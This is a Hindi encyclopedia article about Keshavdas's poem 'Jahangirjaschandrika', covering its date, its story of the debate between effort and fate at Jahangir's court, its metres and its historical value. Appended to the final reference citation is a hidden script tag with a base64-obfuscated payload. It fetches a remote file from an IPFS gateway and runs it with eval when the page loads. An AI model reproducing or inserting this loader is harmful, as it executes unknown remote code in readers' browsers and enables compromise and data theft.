जहाँगीरजसचन्द्रिका

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जहाँगीरजसचन्द्रिका केशवदास की कृति है। इसका रचना काल 1612 ई. है। इसका मुद्रण 'केशवग्रंथावली' के तृतीय खण्ड में 'हिन्दुस्तानी अकादमी', इलाहाबाद से सन 1959 ई. में हुआ था।

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विषयवस्तु

यह केशवदास की सबसे अंतिम प्राप्त रचना है। इसमें 201 छन्दों में जहाँगीर के दरबार का वर्णन है। दरबार में अब्दुर्रहीम ख़ानख़ाना के पुत्र एलचशाह ने केशव से पूछा कि- "उद्यम बड़ा है या कर्म।" इस पर उद्यम और कर्म (भाग्य) के संवाद रूप में कथा का विकास होता है। कथा इस प्रकार बतायी गयी है कि[1]-

कथा

किसी समय गंगा के तट पर उदय और भाग्य शरीरी के रूप में बैठे थे। किसी दरिद्र ब्राह्मण ने उनसे दरिद्रता दूर होने का उपाय पूछा। उसकी पृच्छा पर उदय और भाग्य ने क्रमश: उद्यम और कर्म का पक्ष लेकर विवाद प्रारम्भ किया। वाद-विवाद बहुत बढ़ जाने पर आकाशवाणी हुई कि- "आप मथुरापुरी के भूतेश महादेव के निकट जाकर अपना निर्णय करा लें।" भूतेश ने उन्हें जहाँगीर के पास भेज दिया। वहाँ जाकर उन्होंने जहाँगीर का दरबार देखा। प्रश्नोत्तर के रूप में उसके दरबारियों का उन्होंने वर्णन किया। उदय और भाग्य ने विप्र वेश में बादशाह से पूछा कि "उद्यम और कर्म में कौन बड़ा है।" उसने उत्तर दिया- "जग में उद्दिम कर्म ये मेरे जान समान।" जहाँगीर के सम्बन्ध में केशव ने लिखा है-

"केसवराय जहाँन में कियो राय तें राज।"

छन्दों का प्रयोग

'जहाँगीरजसचन्द्रिका' में अधिकांश में कवित्त-सवैयों को अपनाया गया है। दोहे को छोड़कर अन्य छन्द बहुत ही कम प्रयुक्त हैं।[1]

ऐतिहासिक महत्त्व

इसमें कोई ऐतिहासिक वृत्तांत तो नहीं है, पर जहाँगीर के दरबार का प्रत्यक्षदर्शी के रूप वर्णन, उसके दरबारियों और उनके देशों का उल्लेख तथा बादशाह और उसके दरबारियों का प्रशस्ति-गायन होने से इसका भी कुछ ऐतिहासिक महत्त्व अवश्य है। 'रामचन्द्रिका' में धनुषयज्ञ के प्रसंग में सुमति और विमति का जैसा संवाद विभिन्न नरेशों के वर्णन में संस्कृत के नाटक 'प्रसन्नराघव' के आधार पर रखा गया है, वैसा ही संवाद नूतन उद्भावनपूर्ण उदय और भाग्य के द्वारा जहाँगीर के दरबारियों के सम्बन्ध में इसमें दिया गया है।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 हिन्दी साहित्य कोश, भाग 2 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 214 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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